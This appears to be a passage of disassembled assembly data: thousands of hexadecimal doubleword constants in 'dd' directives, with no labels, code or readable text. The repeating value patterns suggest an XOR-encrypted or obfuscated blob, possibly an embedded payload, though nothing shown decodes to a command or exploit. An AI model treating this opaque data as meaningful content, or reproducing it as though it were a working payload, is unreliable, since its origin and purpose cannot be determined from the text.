		dd 60DD730Fh, 965B97DDh, 7BF7D86h, 7EBF7DA2h, 1C9900B9h
		dd 484ADA34h, 97C626A1h, 0DDCAA859h, 0C1192A65h, 88C19EDCh
		dd 62E2FCDCh, 61F58DDh,	7EBF7D6Dh, 0C31DF215h, 445C7568h
		dd 5EC5EE19h, 4F22BEF7h, 7EBF7D65h, 83F0386h, 45A91D82h
		dd 7EC534E6h, 36447D86h, 6E9D11FCh, 0C9B1044Eh,	250AD6E9h
		dd 30DBC44Bh, 7DEA6E88h, 98547916h, 24773451h, 0B17EFF3Ch
		dd 0E26BB4C6h, 0C8DFE9E8h, 0D51F665Eh, 4EC922E9h, 62AF96CAh
		dd 2CE06D44h, 0B47EFF2Ch
		dd 0DE7E431Ch, 0DAC42F00h, 0C60DFD30h, 2DC4CA24h, 0B47EFF2Ch
		dd 0CCD67FC6h, 0CB232EE3h, 0B9E4BC5Fh, 0D2A045DFh, 0B6EDDCA3h
		dd 0F19FEF7h, 77EFF3Ch,	0B47EFAB1h, 81C3D33Bh, 0F52174Eh
		dd 2A439854h, 7C0F9E9h,	0B48049C5h, 0F52F1F3Bh,	0D44ED29Dh
		dd 0B4C38330h, 3420FF3Bh, 0AE7D981Eh, 0D51DEA15h, 2317016Dh
		dd 2D7EFF3Ch, 0B47EFF31h, 22804F34h, 6897B0D5h,	9BFC7C53h
		dd 8F90B5D4h, 0B47EFF49h, 94481D9Bh, 38D01AE0h,	0B4FEFFABh
		dd 0FF69C3Bh, 0B4977E31h, 0AFDEFF3Bh, 41CD92A2h, 56DF55E5h
		dd 3F4A3ACDh, 64C3E744h, 7A738757h, 3480375Bh, 0AA89FF43h
		dd 0BC19023Bh, 2D7EFF3Bh, 0B47EFF38h, 0A69BB75Ah, 0CB6ED9F7h
		dd 5E18BF78h, 0BDC3BEFEh, 3887603Bh, 0F515913Ch, 0E4E049B3h
		dd 0B480312Ah, 0F475073Bh, 0A124BBC8h, 35FDECA2h, 0EC6FBC9Ch
		dd 7DCFE48Eh, 0B4F59631h, 9793FF3Bh, 309133B5h,	0B47EFF47h
		dd 0B4C29830h, 8F93FF3Bh, 0B47EFF43h, 0E76EF40h, 0B87EFF3Ch
		dd 56A56B0Eh, 0D77341Bh, 0B87EFF3Ch, 2B3582E1h,	0F91C6655h
		dd 0AFC5CBFDh, 805DBD13h, 65FF1D37h, 2CDEB3A9h,	0B47EFF44h
		dd 0AF0549E9h, 8BBF6158h, 0A410227h, 0D47EFF3Ch, 9FFF3C72h
		dd 7BBA0876h, 27E01FA3h, 0B47EFF49h, 0AB9475DAh, 0A6789F78h
		dd 9B7EFF3Bh, 0C49AA7BAh, 0EE8F0C76h, 6FE3F0D7h, 0D1E770BEh
		dd 0D5537D1Ah, 0B47EFF23h, 2AFF893Bh, 0F68B888h, 0B48D7E31h
		dd 0E79FF3Bh, 2C7EFF3Ch, 0ABB6979Fh, 8B911F24h,	0B47EFF48h
		dd 6EDD9BBh, 0B48038B2h, 0B48DAC3Bh, 0A8C6FF3Bh, 4ACE11A1h
		dd 0F5AFEEBCh, 0F98486EAh, 85CC5C77h, 7F3969Eh,	1D8C5C9Ch
		dd 0A67A29ACh, 807EFF3Bh, 0D7F07D7Bh, 2F69AEBBh, 4C420406h
		dd 0F078341Bh, 5D7EFF30h, 0C02023Ah, 77EFF3Ch, 0B47F17C9h
		dd 56DF1F3Bh, 3F48D4ADh, 40DDD344h, 79C50A0h, 57C0C2BFh
		dd 0B50E023Ch, 387EFF3Bh, 0B499AD2Bh, 0C1A023Bh, 77EFF3Ch
		dd 0B47F17C8h, 0AFDF1F3Bh, 95945CA9h, 1879E20h,	0AFDF345Ch
		dd 0B47F0223h, 9B0AC23Bh, 5A5A7441h, 0AAEB80C3h, 428EEA01h
		dd 0B496AC35h, 0DAE4FF3Bh, 5F1C5048h, 0D56017D6h, 0B48EB10Ah
		dd 0DC01FF3Bh, 0DE7C0094h, 0DEF1EE45h, 0A2F57C20h, 0F5E5AA00h
		dd 8C93FF4Ah, 0B47EFF49h, 0DF93E79Bh, 40D338F2h, 0D1E0A1D0h
		dd 0E5924901h, 0C96F94A9h, 32DF45B3h, 2079CBFFh, 4C7EFF3Ch
		dd 0F0077099h, 0F3BB4C8Dh, 0FE2DFD7Ch, 0E850F08Eh, 0E1EA4542h
		dd 0E3877A5Ah, 0B47F192Ah, 0A5E23A3Bh, 73034ACBh, 2DA89559h
		dd 0B47EFF43h, 0B6769435h, 0D4C0FA1Ch, 0B493B75Fh, 0BF1BFF3Bh
		dd 0EA0E3Bh, 545FA8FFh,	0EFC81648h, 72596051h, 3420D87Ah
		dd 7CB8841Ch, 0BF8C1FA3h, 0D4E6349Bh, 7F3965Ah,	0DF321F9Ch
		dd 0B480982Bh, 8AE1FF3Bh, 0B90D38EEh, 20771F2Bh, 9C7EFF3Ch
		dd 0F793CC13h, 35A98EF9h, 723B36FDh, 3C9E5118h,	350525E6h
		dd 83D54C0Dh, 0AFE93469h, 0D4A196A9h, 0D4689230h, 0E1DF34A2h
		dd 3376D35Ah, 2D7EFF3Eh, 0B47EFF2Ch, 0B82728E6h, 434FC96Dh
		dd 5216A16Fh, 0B8F6D82h, 7642FEFCh, 2D7EFF43h, 0B47EFF31h
		dd 0B54029Ah, 33D13051h, 82D9FBF6h, 5C0FBD87h, 0B47F1926h
		dd 0C94D9A3Bh, 0DB53CEEEh, 0D4E46E15h, 0B4F57F30h, 0DF93FF3Bh
		dd 9A22380Fh, 0D586E0E8h, 578770A2h, 3F48D4ADh,	0B5100244h
		dd 387EFF3Bh, 0B498ACA2h, 0C1E9FF3Bh, 7BF6883Fh, 0B3E5E642h
		dd 0FD4AB30h, 0E4DEFF3Ch, 9722465Fh, 0D1E21726h, 0AFDEFBC4h
		dd 3962A7A9h, 995694A9h, 8FDF34A6h, 8A86CF24h, 470D1F61h
		dd 0B4F57E2Ch, 9793FF3Bh, 348733B9h, 2C86CF28h,	0B47EDDF3h
		dd 0B4802F2Ah, 0ABAD283Bh, 0EE24703Ch, 629D92AAh, 6970EA07h
		dd 57E3B38Ah, 0A679D23Ch, 447EFF3Bh, 0E45CC293h, 926C44AEh
		dd 0B0B3822Bh, 380B8BB8h, 0B4801B26h, 6489A03Bh, 294C5908h
		dd 0C0383C17h, 79BC7C92h, 0F48A2671h, 41DCB684h, 779D23Ch
		dd 0F07EFF3Ch, 5454E9DAh, 36D49D6Dh, 9D928370h,	6DFD49Ch
		dd 0B47F15C5h, 0D4E01F3Bh, 77AFA7A9h, 0A7772A3h, 0DB7EFF3Ch
		dd 0A73DD313h, 43C6C76Fh, 0FC0D1F8Ch, 0D9DEAFCDh, 3803965Ah
		dd 0B4801B26h, 3DDC043Bh, 0BF085D0Ah, 95ACBE64h, 0A752F37Dh
		dd 0EFCE72B6h, 3493CC98h, 0B47EFF32h, 0B47F172Ah, 0E1D8013Bh
		dd 0F8566755h, 0C76017Fh, 0D47EFF3Ch, 346796A9h, 0F5E1FD59h
		dd 0D489FF46h, 0AFE7849Bh, 979134A2h, 5CD33454h, 0D47C9657h
		dd 7E6894A9h, 0FC4BFEF8h, 5C847E9Dh, 0B5410257h, 5D7EFF3Bh
		dd 57D0D334h, 0BC76016Eh, 2D7EFF3Bh, 0B47EFF38h, 48DB3A85h
		dd 2F56C005h, 0E1EB1905h, 0AD59846h, 0D8B7740Dh, 5C360A53h
		dd 0B47EFF43h, 99FD0A5Ah, 0B5C0F703h, 2D7EFF3Bh, 0B47EFF46h
		dd 4940F09Eh, 26BCA5C5h, 0C1400E7h, 0D47EFF3Ch,	76E96A9h
		dd 8ADFA601h, 8A9415DAh, 0B47EFF2Dh, 0B49C7E30h, 0F79FF3Bh
		dd 797EFF3Ch, 0E7C7510Ah, 6E09DB7h, 4F14E419h, 160D1D9Eh
		dd 0B49BAC9Ch, 2CCAFF3Bh, 2B3DC336h, 3C6115A0h,	3593FF1Ah
		dd 0B47EFF48h, 0D58796A9h, 96BF9FC4h, 247749B4h, 557EFF3Ch
		dd 0FC6C9C65h, 0D204C457h, 76B92676h, 8B1B263Bh, 0E7A179Ch
		dd 9C7EFF3Ch, 3BBDB93Dh, 760161Bh, 0B48056C8h, 0B0E023Bh
		dd 0D47EFF3Ch, 75296A9h, 0B47EFDCAh, 0F6BD343Bh, 0B5B2C02Bh
		dd 0F79FF3Bh, 0D37EFF3Ch, 0AE552B59h, 0D90D571Fh, 0B10024Fh
		dd 0D47EFF3Ch, 76896A9h, 0B47EFDB2h, 7717343Bh,	0A771F50h
		dd 157EFF3Ch, 0DA27CF8Bh, 0E78E2007h, 32E1D023h, 0D1E03404h
		dd 2D663A1Ah, 0B47EFF4Ah, 1BD5128Bh, 30771AB1h,	2DC3D23Ch
		dd 0B47EFF45h, 7390443Bh, 85EFEEECh, 8A224A4Eh,	8FDF1F61h
		dd 3090B760h, 0B47EFCE3h, 0B5A97E30h, 2279FF3Bh, 717EFF3Ch
		dd 0A03C4F59h, 46AA3D66h, 0CB97FB40h, 676EF5F3h, 2D7D7F2Eh
		dd 0B305AB2Ch, 2079FF3Bh, 7C7EFF3Ch, 0BEAC1FD7h, 142A285Bh
		dd 4DCA12F3h, 0CDF0B619h, 0D4743B84h, 0B497AC9Bh, 0F137FF3Bh
		dd 0C66B06FBh, 604682E7h, 0D50B1C91h, 6CF0A7A9h, 2B7D7F9Eh
		dd 0B3C9AB2Ch, 3569FF3Bh, 0BC6B5A14h, 0C5A5B6F4h, 4B8E6EA1h
		dd 7052493h, 3C174D26h,	387AF428h, 0BC6B5915h, 0BC74EF1Bh
		dd 0E5FA5A23h, 89D2AA0Dh, 3CB37728h, 3751F50Ah,	387AF928h
		dd 0BC6B5470h, 0BC7BC518h, 15225A23h, 596B5A24h, 7BBA8C8Ah
		dd 3556B585h, 62EA700Fh, 387AF9ECh, 0BC6B5481h,	4722DA1Bh
		dd 62EA701Eh, 387ADA14h, 0BC6B53D7h, 0BC6B4C72h, 51FF0023h
		dd 0BA73A19h, 3754E2D7h, 14212A90h, 0F06B5A24h,	0C4748B33h
		dd 0D3F9E65Dh, 0BC12DA18h, 0AD225A23h, 2C6B5A23h, 0C1B654C9h
		dd 10E30FFEh, 0FC0DBB04h, 0BAC4100Eh, 0CC66D9B6h, 0BDF4C618h
		dd 397C5A23h, 0BC6B5A26h, 21F8701Bh, 65F87704h,	0BC6AC514h
		dd 0D74A5A23h, 0CBA59EF1h, 0BC5DD018h, 0DC4A5A23h, 0EF65F9A3h
		dd 0BC6B572Fh, 62DDE223h, 0FEDF3CE3h, 356B5A2Ah, 0BC6B5A19h
		dd 3AB3999Bh, 50893163h, 0DDAF521Ch, 1DE2A4Bh, 1ADF3D27h
		dd 356B5A2Bh, 0BC6B5A19h, 0DD8E741Ch, 0A161C1C8h, 4089E2DDh
		dd 1EC4A73h, 0B6DF3CAFh, 0EF6B5A2Ah, 0BC6B7698h, 15227A23h
		dd 0A6B5A24h, 0A3185D76h, 1CEEC6A4h, 55F8705Eh,	0B4A7D706h
		dd 0B7BEC618h, 644B5A23h, 0DF970CA6h, 3E4A7448h, 0E61DEBA5h
		dd 923FE20Bh, 373DE1C9h, 877B29DBh, 56EB76DBh, 3C3FE223h
		dd 0EED5D728h, 0BC6B9F2Fh, 0BC79EF23h, 0F0345A23h, 0CFD908B8h
		dd 0A14B7DFEh, 923CB482h
		dd 0B3210DC9h, 566B5A23h, 48A6D7F1h, 0BC9505E2h, 9E1CA87Eh
		dd 1680B9ADh, 378DCE7Ah, 397B2A6Ch, 0BC6B5A0Fh,	0BC5FD018h
		dd 377C5A23h, 0BC6B5A2Bh, 3D66CFF1h, 0B2DF3CEBh, 0EF6B5A23h
		dd 0BC6B57AAh, 0EE3DDF23h, 0BC6B57AAh, 0EEAD0E23h, 0BC6B3E92h
		dd 0B9F73D23h, 0EF6B5A23h, 0BC6B5A91h, 52FC0D23h, 355D34E9h
		dd 0BC6B5A0Dh, 58FD96F7h, 0DCE7FF33h, 3446A786h, 0BC6B5A16h
		dd 0B90CBEBBh, 4CC9A070h, 35C6B96Eh, 0E749B97Fh, 409CCF19h
		dd 0BC68BD14h, 0DCCE5A23h, 0BC68D918h, 3B735A23h, 0EF690EAAh
		dd 0BC6987A6h, 0A5F70E23h, 0B63A8506h, 0BC6B5072h, 0E0525123h
		dd 0EECE2EE6h, 0BC6B76A5h, 0B1F73D23h, 356B5A23h, 0BC6B5A0Eh
		dd 0EEBB92E4h, 569D96AEh, 6A4ACA34h, 7F7BC003h,	924A7F1Eh
		dd 0E61DEBA5h, 0BC43EF0Bh, 2F965A23h, 57E18F37h, 0D3C4A4F5h
		dd 0DC1B4E62h, 74C6CFF1h, 15E93D79h, 356B5A24h,	0BC6B5A12h
		dd 0CF21A9C6h, 0EE537733h, 0BC6AA3A5h, 0BC5FEF23h, 24E55A23h
		dd 0D3C75392h, 0DC33D127h, 645D46C0h, 0BBFC3D5Bh, 0EF6B5A23h
		dd 0BC6B508Ch, 0B7F83D23h, 936B5A23h, 0E61DEBA5h, 54EA7A0Bh
		dd 0C49E4930h, 0DCCAD1F1h, 491B4E62h, 0DAFC3E03h, 656B5A2Ah
		dd 0BC6B3D6Eh, 0C6C01823h, 20EA910Dh, 92E0D9B0h, 0AF004251h
		dd 0BC6AC972h, 0BBEB3D23h, 0EF6B5A23h, 0BC6B50A3h, 0B7F83D23h
		dd 0F76B5A23h, 0BC6BE251h, 0EE225A23h, 0A06B5A23h, 0E2821703h
		dd 5CEA4A2h, 0ECDDB696h, 1C226C20h, 356B5A24h, 0BC6B5A19h
		dd 0D55AF0E1h, 0D2CF974Ch, 0B64AC85Ch, 7802F163h, 0BC6B571Ch
		dd 0BCDE3D23h, 646B5A23h, 7EAA9C98h, 947C457Ch,	0BC6B5A14h
		dd 0BC6B4C72h, 8E82CD23h, 9102E7A0h, 923F1DF7h,	3FF879C4h
		dd 6448BF37h, 387B0118h, 0BC6B59CDh, 0BC68BB18h, 23725A23h
		dd 0D9DE3D8Ah, 356B5A23h, 0BC6B5A20h, 2545864Dh, 0DA8F2C6Eh
		dd 5F5EB903h, 218EA07Bh, 92DF72E6h, 15223B0Ah, 0BA6B5A24h
		dd 0DE9069B6h, 8627BCFCh, 0C0DEDF5Dh, 387C5A1Bh, 0BC6B59C7h
		dd 0BC6B4C72h, 74FF7A23h, 0C19FB0BEh, 0BAF20A44h, 0D73DDEFEh
		dd 0A0D0CFF1h, 0DCCCD4E6h, 0BC68D418h, 0DD735A23h, 0DC5EAD92h
		dd 0FD22CFF1h, 0ED2C3D64h, 0B302DA05h, 3E58EF27h, 14210D24h
		dd 0E6B5A24h, 0F6E74128h, 16EF063Fh, 0C5327504h, 0DCDAE8EEh
		dd 0EE2119B4h, 7F6B5A23h, 2CCAAD95h, 35878DC5h,	0A2BDEEBFh
		dd 5420EBD5h, 356B5A27h, 0BC6B5A14h, 278BC8E4h,	0DBF4521Bh
		dd 5229440Dh, 0EE22154Eh, 0BC6B572Fh, 923FE223h, 0BCC23CC9h
		dd 656B5A23h, 49778B98h, 0EED6E1ABh, 0BC6B1B2Fh, 0BC75EF23h
		dd 0C6705A23h, 0F1D16A31h, 5AEB3E49h, 62DDDF7Bh, 0E4DF3DFBh
		dd 656B5A23h, 0BC6A646Eh, 0BC42EF23h, 0E28F5A23h, 11788372h
		dd 0B61FE268h, 3A7C7A72h, 0BC6B5A11h, 0F2BBF9AAh, 0F64A8FAAh
		dd 0BC6B574Bh, 92CE5A23h, 0BC42EECCh, 244E5A23h, 12E4B9A5h
		dd 0B81DD918h, 0BC68BB18h, 35675A23h, 0BC6B45B7h, 0BC6CD918h
		dd 0A7225A23h, 9E6B5A23h, 6555C829h, 8057E53Ah,	0DDBFBA3Eh
		dd 34C55C4Eh, 0BC6B5A1Bh, 3744F8EDh, 1657E6D3h,	0D5E7DA25h
		dd 29EF993Fh, 0EF4305F1h, 317C7A0Bh, 0BC6B5A27h, 0EE0BB7F1h
		dd 0BC6B8772h, 3F25D523h, 89E1FFEDh, 984180A3h,	22ECEA12h
		dd 954A5524h, 0BC5CEEC9h, 8F195A23h, 378EFE83h,	0B6223D90h
		dd 0F56B5A23h, 92DAE206h, 52EBA47Fh, 0B1227AABh, 5F6B5A23h
		dd 0E16A02A4h, 3EF7474Dh, 0AE702B9Ch, 7922DA23h, 0DEF5DF0Bh
		dd 3C3D7A2Ah, 0DCD6CF76h, 0BC42D418h, 317C5A23h, 0BC6B5A26h
		dd 0BA830522h, 0BC6B5A23h, 0BC6B8972h, 41DFFA23h, 0EA9045D1h
		dd 18F59C7Eh, 0B533480Ah, 6B111ADAh, 367B058Dh,	0BC6B5A26h
		dd 0B91DD922h, 0A13C9D03h, 5EF81F70h, 0BAB00806h, 0BB225A23h
		dd 9A6B5A23h, 0A0B10626h, 4D46D976h, 0D675C889h, 27FB38AAh
		dd 0BCA4C614h, 6F7C5A23h, 0BC6B5A0Eh, 0BC6B4372h, 0A8C6CB23h
		dd 1EC4A04h, 13DE3D94h,	496B5A24h, 0C1EA701Eh, 0EEEE0A28h
		dd 0BC6B752Fh, 0D9AD7A23h, 3454478Ch, 0BC6B5A12h, 0FB1DA4F4h
		dd 0A7227765h, 646B5A23h, 34CD0598h, 0BC6B5477h, 0BC68D718h
		dd 31735A23h, 0E6295AA5h, 0BC79EF0Bh, 48075A23h, 4E220D47h
		dd 5AADC037h, 0D96544Bh, 52C9A77Bh, 52DB36EDh, 0BEE6DDEDh
		dd 5450213Fh, 88E01907h, 0CDD2F831h, 87090F36h,	52DE62F8h
		dd 77E9DDEDh, 0A8E41474h, 0C0C8BE5Ah, 54707F5Ah, 52C9AC52h
		dd 10D725EDh, 0D53ACB84h, 327B89B7h, 0E86E0115h, 8AE24821h
		dd 0D6D91DF9h, 52C9DD22h, 2B5FE1CDh, 0CBC9DDEDh, 52C9DDF3h
		dd 0E177D4A5h, 1B10E1D1h, 0E11E55CFh, 10C64B7Bh, 0CA76E845h
		dd 52C9DD43h, 52CB62F8h, 0CA76DDEDh, 52C9DDF2h,	297E58Ch
		dd 99BA5D4Fh, 544AE1C3h, 0DC9DDEDh, 52C9DE76h, 0F5D46EDh
		dd 52C9AB57h, 3BE000EDh, 3FB4F876h, 0ECB6309Ch,	0EACA80CAh
		dd 0FA3E7562h, 0E6DC2FC3h, 246A33D7h, 286E3840h, 0E8E64B26h
		dd 56165366h, 5B1FB636h, 0C5A10C35h, 6D05C0C4h,	0E6DD33CDh
		dd 0BD053695h, 0C6BEEC6Fh, 9B00A1D4h, 0EB2628BFh, 5DDD33D7h
		dd 67851EECh, 7B120A5Ah, 0C812DB2Eh, 0E6593098h, 3FDD33D7h
		dd 0E35F3035h, 0C6DD33D7h, 3F4BCC2Dh, 0C035C31h, 0E6DD3644h
		dd 1FD48BD7h, 0E6DD39A9h, 0BFCF2DD7h, 0AA313F58h, 0BB4D2A93h
		dd 0E6FCBDC4h, 64CC33D7h, 0E6DD33F9h, 0E6DD17AEh, 0A8E60BD7h
		dd 0E00CA0FFh, 25FBFA96h, 5DF477C5h, 0A380DD22h, 3D52B452h
		dd 285A30D1h, 0DDD33D6h, 0E6DD1856h, 0E6CF9ED7h, 0D93133D7h
		dd 6998461Dh, 0D80BC225h, 9C78410Bh, 0A7458F48h, 80BDFE67h
		dd 0BBCEBB22h, 0E6DEB5C4h, 0C7D633D7h, 0E4423069h, 0DDD33D7h
		dd 0E6DD364Dh, 8DCC8BD7h, 0E6DD33F9h, 0E6DD17AEh, 0FEA7AD7h
		dd 0CBFD4A87h, 0E55304Bh, 22707A3Ah, 7800A24Fh,	0C1515FAh
		dd 0EB413052h, 6FDD33D7h, 0E6DD33C9h, 1843D305h, 0AF3FAEC4h
		dd 3D60150Bh, 0E6DD2FA9h, 0C1624ED7h, 0B5C9A7D4h, 0C0C646Ch
		dd 0A36B30DBh, 65CC7AD6h, 0E6DD33F7h, 0E6F6B6C4h, 0F12633D7h
		dd 0D1DD33D7h, 0D227233h, 0EB6A15C9h, 0FF8403DFh, 0C69E400Ah
		dd 0B02E9C47h, 0E5179EDEh, 0E42633D7h, 93DD33D7h, 8D175DB0h
		dd 0DA58CC06h, 63CC31DFh, 0E6DD3371h, 0E6F3B3C4h, 69CC33D7h
		dd 0E6DD33FEh, 0E6DD24AEh, 234B1DD7h, 0EC1B5C2Ah, 26E7694h
		dd 4DE3DCh, 66619C5Ah, 4FC0CB2Ch, 1386C036h, 3E40332Ch
		dd 0C601531h, 0E6DD3950h, 0E6DA9ED7h, 0B9E533D7h, 0C302C701h
		dd 0C59309Fh, 0E6DD2157h, 0E6C29ED7h, 0AE2033D7h, 32445A9Ah
		dd 0A0CA132Ah, 0C32A2151h, 0E6CD9E68h, 113F33D7h, 2E039D2Fh
		dd 0C04D238Eh, 2F3C6D52h, 94CCCCBFh, 0C6D6360Ch, 27408448h
		dd 0EB26DC31h, 1EDD33D7h, 1E3FFD8Ch, 0FF33946h,	0D2B79548h
		dd 0E6C79E36h, 8ECC33D7h, 0E6DD33D1h, 527984DBh, 68CC684Bh
		dd 0E6DD33CEh, 0E6DFBBC4h, 0C6BD33D7h, 0C5B68B38h, 8427B62Dh
		dd 0C5B31667h, 0D795CE2Dh, 653BB62Dh, 66BD16C4h, 93DD9896h
		dd 0BF03B6CAh, 0C6A1A159h, 4B171334h, 0D854E2Ah, 0E6DD3457h
		dd 531430D7h, 68CC7E31h, 0E6DD33FEh, 0E6CFB0C4h, 0EA2633D7h
		dd 7EDD33D7h, 0A8C8B13h, 0B509FFF9h, 719E0B7Ch,	0C6DD3B90h
		dd 0C3106257h, 0EE068556h, 8CCCDA36h, 0E6DD33C3h, 7C30B637h
		dd 6EB50955h, 0E6DD33CCh, 56B292D7h, 90BECFA0h,	0EA5F30AAh
		dd 0C6DD33D7h, 0BB205856h, 0DC103D6Eh, 0C7E1645Eh, 0F95D3037h
		dd 0C6DD33D7h, 6E34BC2Dh
		dd 0E6DD33C0h, 604494A0h, 0A785DE07h, 8D4BDB38h, 0D7D76EBAh
		dd 6EBE8FECh, 0E6DD33CEh, 6C878B7Fh, 8895613Eh,	0E6DD33AEh
		dd 6F5EE9D7h, 0E43483AFh, 0E6DD17AEh, 0AB642FD7h, 296922A6h
		dd 61076307h, 7FE46586h, 57E906E9h, 0E6C39ECBh,	616533D7h
		dd 2A9903B7h, 5500FFD7h, 0B5ED6E10h, 6FC5EA48h,	0E6DD33C8h
		dd 16C2FCBDh, 3C45CD8h,	6746BC4Ah, 0E434CD26h, 0E3593037h
		dd 0DDD33D7h, 0E6DD3344h, 0E55F30D7h, 0C7DD33D7h, 0E6C09E36h
		dd 27F433D7h, 0A7310C39h, 3F7E014Ah, 0D267E29h,	0BDDD33D7h
		dd 1A49931Bh, 28C6D732h, 0B3D533D2h, 0E8463037h, 0C4DD33D7h
		dd 385E7548h, 0FB4EC20h, 6E21BC36h, 0E6DD33CBh,	0D241A458h
		dd 0CF97DD0h, 6879489Eh, 0CBD8B92h, 0E6DD354Bh,	0E54030D7h
		dd 0DDD33D7h, 52BE839Ch, 10473036h, 6FDD33D7h, 0E6DD33CCh
		dd 0B595ADCAh, 63CCCDA8h, 0E6DD33C2h, 0E6C3B0C4h, 0E2633D7h
		dd 0DBDD33D7h, 804474E5h, 255BB93Bh, 0E6DD33AEh, 6F5EE9D7h
		dd 0E4348683h, 0E6DD39AEh, 3DFA5ED7h, 548ACF77h, 0DC09156h
		dd 0E6DD2E45h, 0E6C99ED7h, 0D5BB33D7h, 0A4DC172h, 7B491C30h
		dd 86769FF1h, 28DE0BBFh, 25D69A84h, 0E6DD8B0Dh,	0EB2633D7h
		dd 75DD33D7h, 0E5295B2Bh, 236F7CDDh, 16DC0316h,	5A9A68FAh
		dd 0E6DD33D6h, 0E6DD30AEh, 3C4CC1D7h, 0E7E3FCB9h, 543BEDBFh
		dd 0CB41853Bh, 0C4D573E0h, 0E9262D48h, 0A3DD33D7h, 6911B98Eh
		dd 0CD43C88Ah, 2420AB4Bh, 341DA250h, 0E6DD36CFh, 0EB2613D7h
		dd 8FDD33D7h, 165508D4h, 0B9540B8Ah, 8060F4Bh, 0E25B3085h
		dd 0C4DD33D7h, 92468356h, 405E1531h, 63CCA346h,	0E6DD33FFh
		dd 0E6DD2AAEh, 0F44CE9D7h, 0D268307h, 0B1DD33D7h, 0FD011035h
		dd 66E6D712h, 62CC9BDBh, 0E6DD2AE4h, 0E6DD23AEh, 7A8B4FD7h
		dd 0DF9CDA92h, 68A4A097h, 0D64D95E1h, 0D4C305Ah, 0DDD33D7h
		dd 0E6DD3150h, 0A5BE13D7h, 0E6DEB2C4h, 66D533D7h, 62CC9EDBh
		dd 0E6DD27D8h, 0E6C9BEC4h, 0F0BE33D7h, 0F4454C6Bh, 0B5B2686Bh
		dd 0EABEC937h, 98CECE9Eh, 5305085Dh, 0CA454C74h, 0D460C3E9h
		dd 25524DD5h, 24C56188h, 8C14917h, 0AA454C6Eh, 0A924FD8Bh
		dd 0D5BE2F8Ah, 0E1454C6Bh, 0BA4BF43Ch, 46D98D56h, 0A1011F05h
		dd 6574BFC0h, 0AB79478Fh, 28C5A4ABh, 0CA51B71Ah, 1F754C6Bh
		dd 98FB9453h, 86D7DB7Ah, 0A74BB151h, 0A2EA7800h, 0C8BE9AE8h
		dd 0D3454C6Bh, 3F3EB097h, 4A23E1B3h, 0F0C54967h, 0CA411FEFh
		dd 0CDC0496Bh, 0F1454C6Bh, 0CA454EF5h, 0C9C6496Bh, 0CD454C6Bh
		dd 1B6FB3EDh, 0AA05A773h, 0CA455713h, 6C92276Bh, 0B20576D2h
		dd 0F028E729h, 49257F20h, 4654AA67h, 0CA45404Dh, 0CA46C178h
		dd 4A494C6Bh, 4654AD67h, 0CA454D11h, 0A7BCDD8Bh, 88D07AEAh
		dd 24C62E8Ah, 4654AD93h, 0CA454D69h, 0CA453F12h, 4F30846Bh
		dd 0C91E6566h, 6805A84Ch, 848231D4h, 2CC47FD7h,	0F1DC491Ah
		dd 0F1454C6Bh, 0CA454AEFh, 49262C6Bh, 46541C67h, 0CA454D10h
		dd 0CA5DCC78h, 74544C6Bh, 0CA454C6Ch, 74232F8Bh, 0D8DA4948h
		dd 0F1454C6Bh, 0CA453FF9h, 0CA59B76Bh, 6FB84C6Bh, 706B17FAh
		dd 4C9A12EDh, 2CC553C3h, 0CA55B762h, 71E44C6Bh,	2062364Bh
		dd 3C839117h, 0F73FB19Ch, 24C58E70h, 0A9C14922h, 53454C6Ah
		dd 0CA454C7Ah, 2F62E1B2h, 0FF33C55Ah, 75E590F3h, 0CA2B4B0Dh
		dd 0F14266EBh, 0CA460AEFh, 0CAC7496Bh, 3E454C6Bh, 0F17A66EAh
		dd 0CA465AEFh, 0CA43B76Bh, 0B3464C6Bh, 9345EBC6h, 0F03D66EAh
		dd 0CA4646EFh, 61542C6Bh, 0F1052F04h, 0CA453FEBh, 0CA59B76Bh
		dd 0D10B4C6Bh, 0F9604C10h, 0AB0D2423h, 4C44D108h, 0C8AC8CC9h
		dd 0B78E2E8Bh, 31D82E08h, 7423938Dh, 0D6C14948h, 53454C6Bh
		dd 0CA454C7Ah, 0F2F3A12Eh, 1F8C1A3Ch, 0C4D74DC5h, 0FE151D25h
		dd 534DA1EBh, 0CA454C7Dh, 1539F7A4h, 0A7498C2Ah, 982388A6h
		dd 0FDFC42C2h, 24C62EB3h, 4654B4EDh, 0CA454CDBh, 0F38EFE8Bh
		dd 816B4342h, 88EFE791h, 0DFD82E8Ah, 0D8842E8Bh, 7954FCFCh
		dd 4926060Bh, 0F0BE9C13h, 0E2454C6Bh, 0B42A694Ch, 96C307EDh
		dd 35164AF2h, 4A2387E3h, 0F085CF67h, 0CA451AEFh, 0BD82C6Bh
		dd 0A926C323h, 0CA59D578h, 71544C6Bh, 0CA454C70h, 0CA45CA78h
		dd 21124C6Bh, 7F98BA6Bh, 75544103h, 0CA454C41h,	2B89D98Bh
		dd 0F1BD5ACFh, 0C5454C6Bh, 3D5571Eh, 8297EA58h,	224EFB8Ah
		dd 534903F5h, 0CA454C7Dh, 5AE266Ah, 0B2D9613Dh,	2FE6465Dh
		dd 0C8235831h, 4CB22FA1h, 0F14698E9h, 0CA5C15EEh, 0CA5EB76Bh
		dd 0B64B4C6Bh, 77B01E8h, 755097E6h, 1B532F24h, 73259373h
		dd 0CA57B702h, 0D1F74C6Bh, 4F88A8D7h, 95E02F7Eh, 8AB84C08h
		dd 0F0497A7Fh, 4925FC8Ah, 0CDBD4303h, 53454C6Bh, 59ABF875h
		dd 75380D45h, 0F0DF0D2Ch, 0CA454CF9h, 7426046Bh, 1885BBECh
		dd 0CFC24973h, 0AA454C6Bh, 0CA454312h, 9B3A5E6Bh, 38D85EB9h
		dd 0FA09678Dh, 0CA5DC978h, 71544C6Bh, 0CA454C6Ch, 0F02D2F8Bh
		dd 0CA4395EDh, 0CA5AB76Bh, 0F304C6Bh, 0C612323Eh, 0D976EA30h
		dd 7577247Dh, 1B6C2F24h, 0CAD44973h, 3E454C6Bh,	0EDC349BAh
		dd 0AA454C6Bh, 0CA453A13h, 69A30F6Bh, 0DB43F560h, 5C3A9FA9h
		dd 119E4DA8h, 8541E15Ch, 0CA454B12h, 0F2FFA46Bh, 25675EC8h
		dd 0CC3F5AA9h, 742620BEh, 1885BBECh, 0FE0EA773h, 0F3BD2C5Bh
		dd 39454C6Bh, 7BD7A4FAh, 0F8E56B13h, 31C62ED8h,	7F2F9086h
		dd 809D60EFh, 0F0252C8Ah, 0CEBC7D20h, 0F8454C6Bh, 87BBFC7Eh
		dd 9ABD402Eh, 20AAA4BAh, 74542F88h, 0CA454C70h,	0CA45CC78h
		dd 81264C6Bh, 0C863C978h, 754E4C6Bh, 188B2024h,	79542C73h
